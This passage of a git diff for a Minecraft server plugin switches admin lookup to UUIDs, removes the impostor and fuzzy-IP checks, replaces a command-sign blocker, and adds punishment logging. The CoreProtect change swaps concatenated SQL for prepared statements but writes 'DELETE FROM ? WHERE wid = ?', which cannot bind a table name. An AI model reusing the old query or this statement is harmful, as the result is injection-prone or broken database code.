+    public Admin getEntryByUuid(UUID uuid)
+    {
+        return uuidTable.get(uuid);
     }
 
     public Admin getEntryByName(String name)
@@ -201,25 +200,6 @@ public class AdminList extends FreedomService
         return ipTable.get(ip);
     }
 
-    public Admin getEntryByIpFuzzy(String needleIp)
-    {
-        final Admin directAdmin = getEntryByIp(needleIp);
-        if (directAdmin != null)
-        {
-            return directAdmin;
-        }
-
-        for (String ip : ipTable.keySet())
-        {
-            if (FUtil.fuzzyIpMatch(needleIp, ip, 3))
-            {
-                return ipTable.get(ip);
-            }
-        }
-
-        return null;
-    }
-
     public void updateLastLogin(Player player)
     {
         final Admin admin = getAdmin(player);
@@ -229,31 +209,9 @@ public class AdminList extends FreedomService
         }
 
         admin.setLastLogin(new Date());
-        admin.setName(player.getName());
         save(admin);
     }
 
-    public boolean isAdminImpostor(Player player)
-    {
-        return getEntryByName(player.getName()) != null && !isAdmin(player) && !isVerifiedAdmin(player);
-    }
-
-    public boolean isVerifiedAdmin(Player player)
-    {
-        return verifiedNoAdmin.contains(player.getName()) && verifiedNoAdminIps.get(player.getName()).contains(FUtil.getIp(player));
-    }
-
-    public boolean isIdentityMatched(Player player)
-    {
-        if (Bukkit.getOnlineMode())
-        {
-            return true;
-        }
-
-        Admin admin = getAdmin(player);
-        return admin != null && admin.getName().equalsIgnoreCase(player.getName());
-    }
-
     public boolean addAdmin(Admin admin)
     {
         if (!admin.isValid())
@@ -298,6 +256,7 @@ public class AdminList extends FreedomService
     public void updateTables()
     {
         activeAdmins.clear();
+        uuidTable.clear();
         nameTable.clear();
         ipTable.clear();
 
@@ -309,13 +268,13 @@ public class AdminList extends FreedomService
             }
 
             activeAdmins.add(admin);
+            uuidTable.put(admin.getUuid(), admin);
             nameTable.put(admin.getName().toLowerCase(), admin);
 
             for (String ip : admin.getIps())
             {
                 ipTable.put(ip, admin);
             }
-
         }
     }
 
@@ -333,7 +292,7 @@ public class AdminList extends FreedomService
     {
         try
         {
-            ResultSet currentSave = plugin.sql.getAdminByName(admin.getName());
+            ResultSet currentSave = plugin.sql.getAdminByUuid(admin.getUuid());
             for (Map.Entry<String, Object> entry : admin.toSQLStorable().entrySet())
             {
                 Object storedValue = plugin.sql.getValue(currentSave, entry.getKey(), entry.getValue());
@@ -342,8 +301,7 @@ public class AdminList extends FreedomService
                     plugin.sql.setAdminValue(admin, entry.getKey(), entry.getValue());
                 }
             }
-        }
-        catch (SQLException e)
+        } catch (SQLException e)
         {
             FLog.severe("Failed to save admin: " + e.getMessage());
         }
@@ -402,14 +360,4 @@ public class AdminList extends FreedomService
     {
         return ipTable;
     }
-
-    public List<String> getVerifiedNoAdmin()
-    {
-        return verifiedNoAdmin;
-    }
-
-    public Map<String, List<String>> getVerifiedNoAdminIps()
-    {
-        return verifiedNoAdminIps;
-    }
 }

src/main/java/me/totalfreedom/totalfreedommod/banning/Ban.java

@@ -169,7 +169,7 @@ public class Ban
 
     public boolean isExpired()
     {
-        return hasExpiry() && expiryUnix < FUtil.getUnixTime();
+        return hasExpiry() && FUtil.getUnixDate(expiryUnix).before(new Date(FUtil.getUnixTime()));
     }
 
     public String bakeKickMessage()

src/main/java/me/totalfreedom/totalfreedommod/banning/IndefiniteBan.java

@@ -43,6 +43,7 @@ public class IndefiniteBan implements IConfig
     @Override
     public void saveTo(ConfigurationSection cs)
     {
+        // The indefinite ban list is only intended to be modified manually. It is not intended to save.
     }
 
     @Override

src/main/java/me/totalfreedom/totalfreedommod/blocking/BlockBlocker.java

@@ -171,6 +171,11 @@ public class BlockBlocker extends FreedomService
                 }
                 break;
             }
+            default:
+            {
+                // Do nothing
+                break;
+            }
         }
 
         if (Groups.BANNERS.contains(event.getBlockPlaced().getType()))

src/main/java/me/totalfreedom/totalfreedommod/blocking/EventBlocker.java

@@ -4,6 +4,8 @@ import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
+
+import io.papermc.paper.event.player.PlayerSignCommandPreprocessEvent;
 import me.totalfreedom.totalfreedommod.FreedomService;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.FUtil;
@@ -14,6 +16,7 @@ import org.bukkit.attribute.AttributeModifier;
 import org.bukkit.block.data.AnaloguePowerable;
 import org.bukkit.block.data.Powerable;
 import org.bukkit.entity.Entity;
+import org.bukkit.entity.FallingBlock;
 import org.bukkit.entity.Tameable;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
@@ -30,6 +33,7 @@ import org.bukkit.event.entity.EntityCombustEvent;
 import org.bukkit.event.entity.EntityDamageEvent;
 import org.bukkit.event.entity.EntityDeathEvent;
 import org.bukkit.event.entity.EntityExplodeEvent;
+import org.bukkit.event.entity.EntitySpawnEvent;
 import org.bukkit.event.entity.ExplosionPrimeEvent;
 import org.bukkit.event.entity.FireworkExplodeEvent;
 import org.bukkit.event.entity.PlayerDeathEvent;
@@ -212,6 +216,15 @@ public class EventBlocker extends FreedomService
         }
     }
 
+    @EventHandler
+    public void onEntitySpawn(EntitySpawnEvent event)
+    {
+        if (!ConfigEntry.ALLOW_GRAVITY.getBoolean() && event.getEntity() instanceof FallingBlock)
+        {
+            event.setCancelled(true);
+        }
+    }
+
     @EventHandler
     public void onBlockPhysics(BlockPhysicsEvent event)
     {
@@ -254,4 +267,10 @@ public class EventBlocker extends FreedomService
         FUtil.fixCommandVoid(event.getEntity());
         event.setDeathMessage(event.getDeathMessage());
     }
+
+    @EventHandler
+    public void onSignInteract(PlayerSignCommandPreprocessEvent event)
+    {
+        event.setCancelled(true);
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/InteractBlocker.java

@@ -36,10 +36,9 @@ public class InteractBlocker extends FreedomService
                 break;
             }
 
-            case LEFT_CLICK_AIR:
-            case LEFT_CLICK_BLOCK:
+            default:
             {
-                //
+                // Do nothing
                 break;
             }
         }
@@ -158,6 +157,11 @@ public class InteractBlocker extends FreedomService
                 event.setCancelled(true);
                 break;
             }
+            default:
+            {
+                // Do nothing
+                break;
+            }
         }
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/blocking/SignBlocker.java

@@ -1,67 +0,0 @@
-package me.totalfreedom.totalfreedommod.blocking;
-
-import me.totalfreedom.totalfreedommod.FreedomService;
-import net.minecraft.server.v1_16_R3.NBTTagCompound;
-import org.bukkit.ChatColor;
-import org.bukkit.Tag;
-import org.bukkit.craftbukkit.v1_16_R3.inventory.CraftItemStack;
-import org.bukkit.entity.Player;
-import org.bukkit.event.EventHandler;
-import org.bukkit.event.EventPriority;
-import org.bukkit.event.block.Action;
-import org.bukkit.event.block.BlockPlaceEvent;
-import org.bukkit.event.player.PlayerInteractEvent;
-import org.bukkit.inventory.ItemStack;
-
-//codebeat:disable[LOC,ABC]
-
-public class SignBlocker extends FreedomService
-{
-    @Override
-    public void onStart()
-    {
-    }
-
-    @Override
-    public void onStop()
-    {
-    }
-
-    @EventHandler(priority = EventPriority.NORMAL)
-    public void onPlayerPlaceBlock(BlockPlaceEvent event)
-    {
-
-        final Player player = event.getPlayer();
-        if (Tag.SIGNS.getValues().contains(event.getBlock().getType()))
-        {
-            ItemStack sign = event.getItemInHand();
-            net.minecraft.server.v1_16_R3.ItemStack nmsSign = CraftItemStack.asNMSCopy(sign);
-            NBTTagCompound compound = (nmsSign.hasTag()) ? nmsSign.getTag() : new NBTTagCompound();
-            assert compound != null;
-            NBTTagCompound bet = compound.getCompound("BlockEntityTag");
-            String line1 = bet.getString("Text1");
-            String line2 = bet.getString("Text2");
-            String line3 = bet.getString("Text3");
-            String line4 = bet.getString("Text4");
-            if (line1.contains("run_command") || line2.contains("run_command") || line3.contains("run_command") || line4.contains("run_command"))
-            {
-                player.sendMessage(ChatColor.GRAY + "You are not allowed to place command signs.");
-                event.setCancelled(true);
-            }
-        }
-    }
-
-    @EventHandler(priority = EventPriority.LOWEST)
-    public void onPlayerInteractSign(PlayerInteractEvent event)
-    {
-        if (event.getAction() != Action.RIGHT_CLICK_BLOCK)
-        {
-            return;
-        }
-
-        if (event.getClickedBlock() != null && Tag.SIGNS.getValues().contains(event.getClickedBlock().getType()))
-        {
-            event.setCancelled(true);
-        }
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/blocking/command/CommandBlockerEntry.java

@@ -2,10 +2,10 @@ package me.totalfreedom.totalfreedommod.blocking.command;
 
 import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.util.FUtil;
+import org.bukkit.Bukkit;
 import org.bukkit.ChatColor;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
-import org.spigotmc.SpigotConfig;
 
 public class CommandBlockerEntry
 {
@@ -45,7 +45,7 @@ public class CommandBlockerEntry
         }
         if (action == CommandBlockerAction.BLOCK_UNKNOWN)
         {
-            sender.sendMessage(SpigotConfig.unknownCommandMessage);
+            sender.sendMessage(Bukkit.spigot().getSpigotConfig().getString("messages.unknown-command"));
             return;
         }
         FUtil.playerMsg(sender, FUtil.colorize(message));

src/main/java/me/totalfreedom/totalfreedommod/bridge/BukkitTelnetBridge.java

@@ -42,7 +42,7 @@ public class BukkitTelnetBridge extends FreedomService
             return;
         }
 
-        final Admin admin = plugin.al.getEntryByIpFuzzy(ip);
+        final Admin admin = plugin.al.getEntryByIp(ip);
 
         if (admin == null || !admin.isActive() || !admin.getRank().hasConsoleVariant())
         {

src/main/java/me/totalfreedom/totalfreedommod/bridge/CoreProtectBridge.java

@@ -1,11 +1,7 @@
 package me.totalfreedom.totalfreedommod.bridge;
 
 import java.io.File;
-import java.sql.Connection;
-import java.sql.DriverManager;
-import java.sql.ResultSet;
-import java.sql.SQLException;
-import java.sql.Statement;
+import java.sql.*;
 import java.text.DecimalFormat;
 import java.util.Arrays;
 import java.util.Collections;
@@ -196,7 +192,6 @@ public class CoreProtectBridge extends FreedomService
         return (megabytes / 1024);
     }
 
-    // Wipes DB for the specified world
     public void clearDatabase(World world)
     {
         clearDatabase(world, false);
@@ -228,11 +223,12 @@ public class CoreProtectBridge extends FreedomService
             String database = ConfigEntry.COREPROTECT_MYSQL_DATABASE.getString();
             String url = host + ":" + port + "/" + database + "?user=" + username + "&password=" + password + "&useSSL=false";
             connection = DriverManager.getConnection("jdbc:sql://" + url);
-            final Statement statement = connection.createStatement();
+            final PreparedStatement statement = connection.prepareStatement("SELECT id FROM co_world WHERE world = ?");
             statement.setQueryTimeout(30);
 
             // Obtain world ID from CoreProtect database
-            ResultSet resultSet = statement.executeQuery("SELECT id FROM co_world WHERE world = '" + world.getName() + "'");
+            statement.setString(1, world.getName());
+            ResultSet resultSet = statement.executeQuery();
             String worldID = null;
             while (resultSet.next())
             {
@@ -250,7 +246,10 @@ public class CoreProtectBridge extends FreedomService
             // Iterate through each table and delete their data if the world ID matches
             for (String table : tables)
             {
-                statement.executeQuery("DELETE FROM " + table + " WHERE wid = " + worldID);
+                final PreparedStatement statement1 = connection.prepareStatement("DELETE FROM ? WHERE wid = ?");
+                statement1.setString(1, table);
+                statement1.setString(2, worldID);
+                statement1.executeQuery();
             }
 
             connection.close();
@@ -260,12 +259,6 @@ public class CoreProtectBridge extends FreedomService
         {
             FLog.warning("Failed to delete the CoreProtect data for the " + world.getName());
         }
-
-        // This exits for flatlands wipes
-        if (shutdown)
-        {
-            server.shutdown();
-        }
     }
 
     @EventHandler(priority = EventPriority.MONITOR)
@@ -276,18 +269,14 @@ public class CoreProtectBridge extends FreedomService
         Block block = event.getClickedBlock();
         final CoreProtectAPI coreProtect = getCoreProtectAPI();
 
+        // TODO: Rewrite this
         if (data.hasInspection())
         {
-            if (event.getAction() == Action.LEFT_CLICK_BLOCK)
-            {
-                if (block != null)
-                {
-                    event.setCancelled(true);
-                    List<String[]> lookup = coreProtect.blockLookup(block, -1);
-
             int cooldownTime = 3;
 
-                    if (cooldown.containsKey(player.getName()))
+            // Cooldown check
+            if ((event.getAction() == Action.LEFT_CLICK_BLOCK || event.getAction() == Action.RIGHT_CLICK_BLOCK)
+                    && cooldown.containsKey(player.getName()))
             {
                 long secondsLeft = getSecondsLeft(cooldown.get(player.getName()), cooldownTime);
                 if (secondsLeft > 0L)
@@ -298,6 +287,14 @@ public class CoreProtectBridge extends FreedomService
                 }
             }
 
+            // Actual lookup time
+            if (event.getAction() == Action.LEFT_CLICK_BLOCK)
+            {
+                if (block != null)
+                {
+                    event.setCancelled(true);
+                    List<String[]> lookup = coreProtect.blockLookup(block, -1);
+
                     if (!plugin.al.isAdmin(player))
                     {
                         cooldown.put(player.getName(), System.currentTimeMillis());
@@ -363,8 +360,6 @@ public class CoreProtectBridge extends FreedomService
             else if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
             {
                 if (block != null)
-                {
-                    if (data.hasInspection())
                 {
                     BlockState blockState = block.getRelative(event.getBlockFace()).getState();
                     Block placedBlock = blockState.getBlock();
@@ -376,19 +371,6 @@ public class CoreProtectBridge extends FreedomService
                         lookup = coreProtect.blockLookup(block, -1);
                     }
 
-                        int cooldownTime = 3;
-
-                        if (cooldown.containsKey(player.getName()))
-                        {
-                            long secondsLeft = getSecondsLeft(cooldown.get(player.getName()), cooldownTime);
-                            if (secondsLeft > 0L)
-                            {
-                                event.setCancelled(true);
-                                player.sendMessage(ChatColor.RED + String.valueOf(secondsLeft) + " seconds left before next query.");
-                                return;
-                            }
-                        }
-
                     if (!plugin.al.isAdmin(player))
                     {
                         cooldown.put(player.getName(), System.currentTimeMillis());
@@ -453,5 +435,4 @@ public class CoreProtectBridge extends FreedomService
             }
         }
     }
-    }
 }

src/main/java/me/totalfreedom/totalfreedommod/bridge/EssentialsBridge.java

@@ -114,8 +114,7 @@ public class EssentialsBridge extends FreedomService
             User user = getEssentialsUser(username);
             if (user != null)
             {
-                Long l = FUtil.getField(user, "lastActivity");
-                return (l != null) ? l : 0L;
+                return user.getLastOnlineActivity();
             }
         }
         catch (Exception ex)

src/main/java/me/totalfreedom/totalfreedommod/bridge/TFGuildsBridge.java

@@ -53,6 +53,6 @@ public class TFGuildsBridge extends FreedomService
         {
             return false;
         }
-        return Common.IN_GUILD_CHAT.contains(player);
+        return Common.GUILD_CHAT.contains(player);
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/bridge/WorldEditBridge.java

@@ -48,52 +48,6 @@ public class WorldEditBridge extends FreedomService
         return worldeditPlugin;
     }
 
-    public void undo(Player player, int count)
-    {
-        try
-        {
-            LocalSession session = getPlayerSession(player);
-            if (session != null)
-            {
-                final BukkitPlayer bukkitPlayer = getBukkitPlayer(player);
-                if (bukkitPlayer != null)
-                {
-                    for (int i = 0; i < count; i++)
-                    {
-                        session.undo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
-                    }
-                }
-            }
-        }
-        catch (Exception ex)
-        {
-            FLog.severe(ex);
-        }
-    }
-
-    public void redo(Player player, int count)
-    {
-        try
-        {
-            LocalSession session = getPlayerSession(player);
-            if (session != null)
-            {
-                final BukkitPlayer bukkitPlayer = getBukkitPlayer(player);
-                if (bukkitPlayer != null)
-                {
-                    for (int i = 0; i < count; i++)
-                    {
-                        session.redo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
-                    }
-                }
-            }
-        }
-        catch (Exception ex)
-        {
-            FLog.severe(ex);
-        }
-    }
-
     public void setLimit(Player player, int limit)
     {
         try
@@ -153,23 +107,4 @@ public class WorldEditBridge extends FreedomService
             return null;
         }
     }
-
-    private BukkitPlayer getBukkitPlayer(Player player)
-    {
-        final WorldEditPlugin wep = getWorldEditPlugin();
-        if (wep == null)
-        {
-            return null;
-        }
-
-        try
-        {
-            return wep.wrapPlayer(player);
-        }
-        catch (Exception ex)
-        {
-            FLog.severe(ex);
-            return null;
-        }
-    }
 }

src/main/java/me/totalfreedom/totalfreedommod/bridge/WorldGuardBridge.java

@@ -1,13 +1,13 @@
 package me.totalfreedom.totalfreedommod.bridge;
 
-import com.sk89q.worldedit.bukkit.BukkitAdapter;
+import com.sk89q.worldguard.LocalPlayer;
 import com.sk89q.worldguard.WorldGuard;
-import com.sk89q.worldguard.protection.managers.RegionManager;
-import com.sk89q.worldguard.protection.regions.ProtectedRegion;
+import com.sk89q.worldguard.bukkit.WorldGuardPlugin;
 import com.sk89q.worldguard.protection.regions.RegionContainer;
-import java.util.Map;
+
+import com.sk89q.worldguard.protection.regions.RegionQuery;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import org.bukkit.World;
+import org.bukkit.entity.Player;
 import org.bukkit.plugin.Plugin;
 
 public class WorldGuardBridge extends FreedomService
@@ -15,8 +15,6 @@ public class WorldGuardBridge extends FreedomService
     @Override
     public void onStart()
     {
-        plugin.wr.protectWorld(plugin.wm.hubworld.getWorld());
-        plugin.wr.protectWorld(plugin.wm.masterBuilderWorld.getWorld());
     }
 
     @Override
@@ -24,26 +22,21 @@ public class WorldGuardBridge extends FreedomService
     {
     }
 
-    public RegionManager getRegionManager(World world)
+    public boolean canEditCurrentWorld(Player player)
     {
+        // If WorldGuard integration is enabled, do a check with it.
+        if (isEnabled())
+        {
+            LocalPlayer localPlayer = WorldGuardPlugin.inst().wrapPlayer(player);
+
             RegionContainer container = WorldGuard.getInstance().getPlatform().getRegionContainer();
-        return container.get(BukkitAdapter.adapt(world));
+            RegionQuery query = container.createQuery();
+
+            return query.testBuild(localPlayer.getLocation(), localPlayer);
         }
 
-    public int wipeRegions(World world)
-    {
-        int count = 0;
-        RegionManager regionManager = getRegionManager(world);
-        if (regionManager != null)
-        {
-            Map<String, ProtectedRegion> regions = regionManager.getRegions();
-            for (ProtectedRegion region : regions.values())
-            {
-                regionManager.removeRegion(region.getId());
-                count++;
-            }
-        }
-        return count;
+        // If the plugin isn't present, return true.
+        return true;
     }
 
     public boolean isEnabled()

src/main/java/me/totalfreedom/totalfreedommod/command/CommandPermissions.java

@@ -10,9 +10,12 @@ public @interface CommandPermissions
 
     Rank level() default Rank.NON_OP;
 
+    String permission() default "";
+
     SourceType source() default SourceType.BOTH;
 
     boolean blockHostConsole() default false;
 
     int cooldown() default 0;
+
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_adminworld.java

@@ -137,7 +137,7 @@ public class Command_adminworld extends FreedomCommand
             {
                 return noPerms();
             }
-            sender.sendMessage(ex.getMessage());
+            msg(ex.getMessage());
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_adventure.java

@@ -19,7 +19,7 @@ public class Command_adventure extends FreedomCommand
         {
             if (isConsole())
             {
-                sender.sendMessage("When used from the console, you must define a target player.");
+                msg("When used from the console, you must define a target player.");
                 return true;
             }
 
@@ -46,7 +46,7 @@ public class Command_adventure extends FreedomCommand
 
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_ban.java

@@ -1,8 +1,8 @@
 package me.totalfreedom.totalfreedommod.command;
 
-import java.util.ArrayList;
-import java.util.List;
 import java.util.Objects;
+
+import com.earth2me.essentials.User;
 import me.totalfreedom.totalfreedommod.banning.Ban;
 import me.totalfreedom.totalfreedommod.player.PlayerData;
 import me.totalfreedom.totalfreedommod.punishments.Punishment;
@@ -60,28 +60,39 @@ public class Command_ban extends FreedomCommand
         }
 
         final String username;
-        final List<String> ips = new ArrayList<>();
+        final String ip;
 
         final Player player = getPlayer(args[0]);
         if (player == null)
         {
-            final PlayerData entry = plugin.pl.getData(args[0]);
-
+            // Gets the IP using Essentials data if available
+            if (plugin.esb.isEnabled() && plugin.esb.getEssentialsUser(args[0]) != null)
+            {
+                User essUser = plugin.esb.getEssentialsUser(args[0]);
+                //
+                username = essUser.getName();
+                ip = essUser.getLastLoginAddress();
+            }
+            // Last resort - Getting the first result from the username itself
+            else
+            {
+                PlayerData entry = plugin.pl.getData(args[0]);
                 if (entry == null)
                 {
-                msg("Can't find that user. If target is not logged in, make sure that you spelled the name exactly.");
+                    msg(PLAYER_NOT_FOUND);
                     return true;
                 }
-
-            username = entry.getName();
-            ips.addAll(entry.getIps());
-        }
                 else
                 {
-            final PlayerData entry = plugin.pl.getData(player);
+                    username = entry.getName();
+                    ip = entry.getIps().get(0);
+                }
+            }
+        }
+        else
+        {
             username = player.getName();
-            //ips.addAll(entry.getIps());/
-            ips.add(FUtil.getIp(player));
+            ip = FUtil.getIp(player);
 
             // Deop
             player.setOp(false);
@@ -126,7 +137,6 @@ public class Command_ban extends FreedomCommand
 
         // Ban player
         Ban ban;
-
         if (player != null)
         {
             ban = Ban.forPlayer(player, sender, null, reason);
@@ -135,12 +145,8 @@ public class Command_ban extends FreedomCommand
         {
             ban = Ban.forPlayerName(username, sender, null, reason);
         }
-
-        for (String ip : ips)
-        {
         ban.addIp(ip);
-            ban.addIp(FUtil.getFuzzyIp(ip));
-        }
+
         plugin.bm.addBan(ban);
 
 
@@ -154,7 +160,7 @@ public class Command_ban extends FreedomCommand
             {
                 bcast.append(" - Reason: ").append(ChatColor.YELLOW).append(reason);
             }
-            msg(sender, ChatColor.GRAY + username + " has been banned and IP is: " + StringUtils.join(ips, ", "));
+            msg(sender, ChatColor.GRAY + username + " has been banned and IP is: " + ip);
             FUtil.adminAction(sender.getName(), bcast.toString(), true);
         }
 
@@ -172,7 +178,7 @@ public class Command_ban extends FreedomCommand
         }
 
         // Log ban
-        plugin.pul.logPunishment(new Punishment(username, ips.get(0), sender.getName(), PunishmentType.BAN, reason));
+        plugin.pul.logPunishment(new Punishment(username, ip, sender.getName(), PunishmentType.BAN, reason));
 
         return true;
     }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_banip.java

@@ -72,8 +72,8 @@ public class Command_banip extends FreedomCommand
             {
                 // Broadcast
                 FLog.info(ChatColor.RED + sender.getName() + " - Banned the IP " + ip);
-                String message = ChatColor.RED + sender.getName() + " - Banned " + (plugin.al.isAdmin(player) ? "the IP " + ip : "an IP");
-                player.sendMessage(message);
+                String message = sender.getName() + " - Banned " + (plugin.al.isAdmin(player) ? "the IP " + ip : "an IP");
+                msg(player, message, ChatColor.RED);
             }
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_blockcmd.java

@@ -1,6 +1,8 @@
 package me.totalfreedom.totalfreedommod.command;
 
 import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.punishments.Punishment;
+import me.totalfreedom.totalfreedommod.punishments.PunishmentType;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.ChatColor;
@@ -75,9 +77,11 @@ public class Command_blockcmd extends FreedomCommand
         FPlayer playerdata = plugin.pl.getPlayer(player);
         if (!playerdata.allCommandsBlocked())
         {
-            playerdata.setCommandsBlocked(true);
             FUtil.adminAction(sender.getName(), "Blocking all commands for " + player.getName(), true);
+            playerdata.setCommandsBlocked(true);
             msg("Blocked commands for " + player.getName() + ".");
+
+            plugin.pul.logPunishment(new Punishment(player.getName(), FUtil.getIp(player), sender.getName(), PunishmentType.BLOCKCMD, null));
         }
         else
         {

src/main/java/me/totalfreedom/totalfreedommod/command/Command_blockedit.java

@@ -1,6 +1,8 @@
 package me.totalfreedom.totalfreedommod.command;
 
 import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.punishments.Punishment;
+import me.totalfreedom.totalfreedommod.punishments.PunishmentType;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.apache.commons.lang.ArrayUtils;
@@ -92,7 +94,7 @@ public class Command_blockedit extends FreedomCommand
         final Player player2 = getPlayer(args[0]);
         if (player2 == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 
@@ -128,6 +130,8 @@ public class Command_blockedit extends FreedomCommand
 
             msg(player2, "Your block modification abilities have been blocked.", ChatColor.RED);
             msg("Blocked all block modification abilities for " + player2.getName());
+
+            plugin.pul.logPunishment(new Punishment(player2.getName(), FUtil.getIp(player2), sender.getName(), PunishmentType.BLOCKEDIT, null));
         }
         return true;
     }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_blockpvp.java

@@ -1,6 +1,8 @@
 package me.totalfreedom.totalfreedommod.command;
 
 import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.punishments.Punishment;
+import me.totalfreedom.totalfreedommod.punishments.PunishmentType;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.apache.commons.lang3.ArrayUtils;
@@ -93,7 +95,7 @@ public class Command_blockpvp extends FreedomCommand
         final Player p = getPlayer(args[0]);
         if (p == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 
@@ -125,6 +127,7 @@ public class Command_blockpvp extends FreedomCommand
             {
                 Command_smite.smite(sender, p, reason);
             }
+            plugin.pul.logPunishment(new Punishment(p.getName(), FUtil.getIp(p), sender.getName(), PunishmentType.BLOCKPVP, null));
 
             msg(p, "Your PVP has been disabled.", ChatColor.RED);
             msg("Disabled PVP for " + p.getName());

src/main/java/me/totalfreedom/totalfreedommod/command/Command_cage.java

@@ -5,6 +5,8 @@ import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.punishments.Punishment;
+import me.totalfreedom.totalfreedommod.punishments.PunishmentType;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.ChatColor;
@@ -42,14 +44,14 @@ public class Command_cage extends FreedomCommand
         Player player = getPlayer(args[0]);
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 
         final FPlayer fPlayer = plugin.pl.getPlayer(player);
         if (fPlayer.getCageData().isCaged())
         {
-            sender.sendMessage(ChatColor.RED + "That player is already caged.");
+            msg("That player is already caged.", ChatColor.RED);
             return true;
         }
 
@@ -75,15 +77,41 @@ public class Command_cage extends FreedomCommand
                 }
                 case "block":
                 {
-                    if (Material.matchMaterial(args[2]) != null)
+                    if (args.length >= 3)
+                    {
+                        // Checks the validity of the Material and checks if it's a block.
+                        // This is incredibly inefficient, as Spigot's isBlock() method in Material is an actual
+                        // nightmare of switch-cases.
+                        if (Material.matchMaterial(args[2]) != null && Material.matchMaterial(args[2]).isBlock())
                         {
                             outerMaterial = Material.matchMaterial(args[2]);
                             break;
                         }
-                    sender.sendMessage(ChatColor.RED + "Invalid block!");
-                    break;
+                        else
+                        {
+                            msg("Invalid block!", ChatColor.RED);
+                            return true;
                         }
                     }
+                    else
+                    {
+                        return false;
+                    }
+                }
+                default:
+                {
+                    return false;
+                }
+            }
+        }
+
+        if (outerMaterial == Material.PLAYER_HEAD)
+        {
+            FUtil.adminAction(sender.getName(), "Caging " + player.getName() + " in " + skullName, true);
+        }
+        else
+        {
+            FUtil.adminAction(sender.getName(), "Caging " + player.getName(), true);
         }
 
         Location location = player.getLocation().clone().add(0.0, 1.0, 0.0);
@@ -96,17 +124,9 @@ public class Command_cage extends FreedomCommand
         {
             fPlayer.getCageData().cage(location, outerMaterial, innerMaterial);
         }
-
         player.setGameMode(GameMode.SURVIVAL);
 
-        if (outerMaterial == Material.PLAYER_HEAD)
-        {
-            FUtil.adminAction(sender.getName(), "Caging " + player.getName() + " in " + skullName, true);
-        }
-        else
-        {
-            FUtil.adminAction(sender.getName(), "Caging " + player.getName(), true);
-        }
+        plugin.pul.logPunishment(new Punishment(player.getName(), FUtil.getIp(player), sender.getName(), PunishmentType.CAGE, null));
         return true;
     }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_cartsit.java

@@ -23,7 +23,7 @@ public class Command_cartsit extends FreedomCommand
 
             if (targetPlayer == null)
             {
-                sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+                msg(PLAYER_NOT_FOUND);
                 return true;
             }
         }
@@ -32,7 +32,7 @@ public class Command_cartsit extends FreedomCommand
         {
             if (targetPlayer == null)
             {
-                sender.sendMessage("When used from the console, you must define a target player: /cartsit <player>");
+                msg("When used from the console, you must define a target player: /cartsit <player>");
                 return true;
             }
         }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_cleanchat.java

@@ -8,7 +8,7 @@ import org.bukkit.entity.Player;
 
 @CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
 @CommandParameters(description = "Clears the chat.", usage = "/<command>", aliases = "cc")
-public class Command_clearchat extends FreedomCommand
+public class Command_cleanchat extends FreedomCommand
 {
 
     @Override
@@ -20,7 +20,7 @@ public class Command_clearchat extends FreedomCommand
             {
                 for (int i = 0; i < 100; i++)
                 {
-                    player.sendMessage("");
+                    msg(player, "");
                 }
             }
         }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_clearinventory.java

@@ -52,7 +52,7 @@ public class Command_clearinventory extends FreedomCommand
 
                     player.getInventory().clear();
                     msg("Cleared " + player.getName() + "'s inventory.");
-                    player.sendMessage(sender.getName() + " has cleared your inventory.");
+                    msg(player, sender.getName() + " has cleared your inventory.");
                 }
             }
             else

src/main/java/me/totalfreedom/totalfreedommod/command/Command_coins.java

@@ -9,8 +9,11 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
+import java.util.ArrayList;
+import java.util.List;
+
 @CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
